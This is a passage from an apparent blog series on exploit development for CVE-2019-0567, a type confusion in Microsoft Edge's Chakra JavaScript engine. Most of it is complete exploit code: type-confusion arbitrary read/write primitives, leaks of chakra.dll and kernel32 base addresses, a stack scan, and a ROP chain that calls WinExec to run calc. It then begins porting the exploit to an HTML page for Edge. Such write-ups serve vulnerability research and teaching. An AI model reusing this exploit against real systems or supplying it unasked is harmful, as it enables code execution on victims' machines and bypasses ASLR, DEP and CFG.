    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;

}

main();

You’ll notice the address we are placing in RCX, via pop rcx, is “an empty address in .data of chakracore.dll”. The .data section of any PE is generally readable and writable. This gives us the proper permissions needed to write calc into the pointer. To find this address, we can look at the .data section of chakracore.dll in WinDbg with the !dh command.

Let’s open our exploit.js in WinDbg again via ch.exe and WinDbg and set a breakpoint on our first ROP gadget (located at chakracore_base + 0x3e876) to step through execution.

Looking at the stack, we can see we are currently executing our ROP chain.

Our first ROP gadget, pop rax, will place calc (in hex representation) into the RAX register.

After execution, we can see the ret from our ROP gadget takes us right to our next gadget - pop rcx, which will place the empty .data pointer from chakracore.dll into RCX.

This brings us to our next ROP gadget, the mov qword ptr [rcx], rax ; ret gadget.

After execution of the ROP gadget, we can see the .data pointer now contains the contents of calc - meaning we now have a pointer we can place in RCX (it technically is already in RCX) as the lpCmdLine parameter.

Now that the first parameter is done - we only have two more steps left. The first is the second parameter, uCmdShow (which just needs to be set to 0). The last gadget will pop the address of kernel32!WinExec. Here is how this part of the ROP chain will look.

pop rdx ; ret
<0 as the second parameter> (placed into RDX)

pop rax ; ret
<WinExec address> (placed into RAX)

jmp rax (call kernel32!WinExec)

The above gadgets will fill RDX with our last parameter, and then place WinExec into RAX. Here is how we update our final script.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
}

main();

Before execution, we can find the address of kernel32!WinExec by computing the offset in WinDbg.

Let’s again run our exploit in WinDbg and set a breakpoint on the pop rdx ROP gadget (located at chakracore_base + 0x40802)

After the pop rdx gadget is hit, we can see 0 is placed in RDX.

Execution then redirects to the pop rax gadget.

We then place kernel32!WinExec into RAX and execute the jmp rax gadget to jump into the WinExec function call. We can also see our parameters are correct (RCX points to calc and RDX is 0.

We can now see everything is in order. Let’s close our of WinDbg and execute our final exploit without any debugger. The final code can be seen below.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;
}

main();

As we can see, we achieved code execution via type confusion while bypassing ASLR, DEP, and CFG!

Conclusion

As we saw in part two, we took our proof-of-concept crash exploit to a working exploit to gain code execution while avoiding exploit mitigations like ASLR, DEP, and Control Flow Guard. However, we are only executing our exploit in the ChakraCore shell environment. When we port our exploit to Edge in part three, we will need to use several ROP chains (upwards of 11 ROP chains) to get around Arbitrary Code Guard (ACG).

I will see you in part three! Until then.

Peace, love, and positivity :-)

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 3)

7 April 2022 at 00:00

Introduction

In part one of this blog series on “modern” browser exploitation, targeting Windows, we took a look at how JavaScript manages objects in memory via the Chakra/ChakraCore JavaScript engine and saw how type confusion vulnerabilities arise. In part two we took a look at Chakra/ChakraCore exploit primitives and turning our type confusion proof-of-concept into a working exploit on ChakraCore, while dealing with ASLR, DEP, and CFG. In part three, this post, we will close out this series by making a few minor tweaks to our exploit primitives to go from ChakraCore to Chakra (the closed-source version of ChakraCore which Microsoft Edge runs on in various versions of Windows 10). After porting our exploit primitives to Edge, we will then gain full code execution while bypassing Arbitrary Code Guard (ACG), Code Integrity Guard (CIG), and other minor mitigations in Edge, most notably “no child processes” in Edge. The final result will be a working exploit that can gain code execution with ASLR, DEP, CFG, ACG, CIG, and other mitigations enabled.

From ChakraCore to Chakra

Since we already have a working exploit for ChakraCore, we now need to port it to Edge. As we know, Chakra (Edge) is the “closed-source” variant of ChakraCore. There are not many differences between how our exploits will look (in terms of exploit primitives). The only thing we need to do is update a few of the offsets from our ChakraCore exploit to be compliant with the version of Edge we are exploiting. Again, as mentioned in part one, we will be using an UNPATCHED version of Windows 10 1703 (RS2). Below is an output of winver.exe, which shows the build number (15063.0) we are using. The version of Edge we are using has no patches and no service packs installed.

Moving on, below you can find the code that we will be using as a template for our exploitation. We will name this file exploit.html and save it to our Desktop (feel free to save it anywhere you would like).

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
}
</script>

Nothing about this code differs in the slightest from our previous exploit.js code, except for the fact we are now using an HTML, as obviously this is the type of file Edge expects as it’s a web browser. This also means that we have replaced print() functions with proper document.write() HTML methods in order to print our exploit output to the screen. We have also added a <script></script> tag to allow us to execute our malicious JavaScript in the browser. Additionally, we added functionality in the <button onclick="main()">Click me to exploit CVE-2019-0567!</button> line, where our exploit won’t be executed as soon as the web page is opened. Instead, this button allows us choose when we want to detonate our exploit. This will aid us in debugging as we will see shortly.

Once we have saved exploit.html, we can double-click on it and select Microsoft Edge as the application we want to open it with. From there, we should be presented with our Click me to exploit CVE-2019-0567 button.

After we have loaded the web page, we can then click on the button to run the code presented above for exploit.html.

As we can see, everything works as expected (per our post number two in this blog series) and we leak the vftable from one of our DataView objects, from our exploit primitive, which is a pointer into chakra.dll. However, as we are exploiting Edge itself now and not the ChakraCore engine, computation of the base address of chakra.dll will be slightly different. To do this, we need to debug Microsoft Edge in order to compute the distance between our leaked address and chakra.dll’s base address. With that said, we will need to talk about debugging Edge in order to compute the base address of chakra.dll.

We will begin by making use of Process Hacker to aid in our debugging. After downloading Process Hacker, we can go ahead and start it.

After starting Process Hacker, let’s go ahead and re-open exploit.html but do not click on the Click me to exploit CVE-2019-0567 button yet.

Coming back to Process Hacker, we can see two MicrosoftEdgeCP.exe processes and a MicrosoftEdge.exe process.

Where do these various processes come from? As the CP in MicrosoftEdgeCP.exe infers, these are Microsoft Edge content processes. A content process, also known as a renderer process, is the actual component of the browser which executes the JavaScript, HTML, and CSS code a user interfaces with. In this case, we can see two MicrosoftEdgeCP.exe processes. One of these processes refers to the actual content we are seeing (the actual exploit.html web page). The other MicrosoftEdgeCP.exe process is technically not a content process, per se, and is actually the out-of-process JIT server which we talked about previously in this blog series. What does this actually mean?

JIT’d code is code that is generated as readable, writable, and executable (RWX). This is also known as “dynamic code” which is generated at runtime, and it doesn’t exist when the Microsoft Edge processes are spawned. We will talk about Arbitrary Code Guard (ACG) in a bit, but at a high level ACG prohibits any dynamic code (amongst other nuances we will speak of at the appropriate time) from being generated which is readable, writable, and executable (RWX). Since ACG is a mitigation, which was actually developed with browser exploitation and Edge in mind, there is a slight usability issue. Since JIT’d code is a massive component of a modern day browser, this automatically makes ACG incompatible with Edge. If ACG is enabled, then how can JIT’d code be generated, as it is RWX? The solution to this problem is by leveraging an out-of-process JIT server (located in the second MicrosoftEdgeCP.exe process).

This JIT server process has Arbitrary Code Guard disabled. The reason for this is because the JIT process doesn’t handle any execution of “untrusted” JavaScript code - meaning the JIT server can’t really be exploited by browser exploitation-related primitives, like a type confusion vulnerability (we will prove this assumption false with our ACG bypass). The reason is that since the JIT process doesn’t execute any of that JavaScript, HTML, or CSS code, meaning we can infer the JIT server doesn’t handled any “untrusted code”, a.k.a JavaScript provided by a given web page, we can infer that any code running within the JIT server is “trusted” code and therefore we don’t need to place “unnecessary constraints” on the process. With the out-of-process JIT server having no ACG-enablement, this means the JIT server process is now compatible with “JIT” and can generate the needed RWX code that JIT requires. The main issue, however, is how do we get this code (which is currently in a separate process) into the appropriate content process where it will actually be executed?

The way this works is that the out-of-process JIT server will actually take any JIT’d code that needs to be executed, and it will inject it into the content processes that contain the JavaScript code to be executed with proper permissions that are ACG complaint (generally readable/executable). So, at a high level, this out-of-process JIT server performs process injection to map the JIT’d code into the content processes (which has ACG enabled). This allows the Edge content processes, which are responsible for handling untrusted code like a web page that hosts malicious JavaScript to perform memory corruption (e.g. exploit.html), to have full ACG support.

Lastly, we have the MicrosoftEdge.exe process which is known as the browser process. It is the “main” process which helps to manage things like network requests and file access.

Armed with the above information, let’s now turn our attention back to Process Hacker.

The obvious point we can make is that when we do our exploit debugging, we know the content process is responsible for execution of the JavaScript code within our web page - meaning that it is the process we need to debug as it will be responsible for execution of our exploit. However, since the out-of-process JIT server is technically named as a content process, this makes for two instances of MicrosoftEdgeCP.exe. How do we know which is the out-of-process JIT server and which is the actual content process? This probably isn’t the best way to tell, but the way I figured this out with approximately 100% accuracy is by looking at the two content processes (MicrosoftEdgeCP.exe) and determining which one uses up more RAM. In my testing, the process which uses up more RAM is the target process for debugging (as it is significantly more, and makes sense as the content process has to load JavaScript, HTML, and CSS code into memory for execution). With that in mind, we can break down the process tree as such (based on the Process Hacker image above):

  1. MicrosoftEdge.exe - PID 3740 (browser process)
  2. MicrosoftEdgeCP.exe - PID 2668 (out-of-process JIT server)
  3. MicrosoftEdgeCP.exe - PID 2512 (content process - our “exploiting process” we want to debug).

With the aforementioned knowledge we can attach PID 2512 (our content process, which will likely differ on your machine) to WinDbg and know that this is the process responsible for execution of our JavaScript code. More importantly, this process loads the Chakra JavaScript engine DLL, chakra.dll.

After confirming chakra.dll is loaded into the process space, we then can click out Click me to exploit CVE-2019-0567 button (you may have to click it twice). This will run our exploit, and from here we can calculate the distance to chakra.dll in order to compute the base of chakra.dll.

As we can see above, the leaked vftable pointer is 0x5d0bf8 bytes away from chakra.dll. We can then update our exploit script to the following code, and confirm this to be the case.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
}
</script>

After computing the base address of chakra.dll the next thing we need to do is, as shown in part two, leak an import address table (IAT) entry that points to kernel32.dll (in this case kernelbase.dll, which contains all of the functionality of kernel32.dll).

Using the same debugging session, or a new one if you prefer (following the aforementioned steps to locate the content process), we can locate the IAT for chakra.dll with the !dh command.

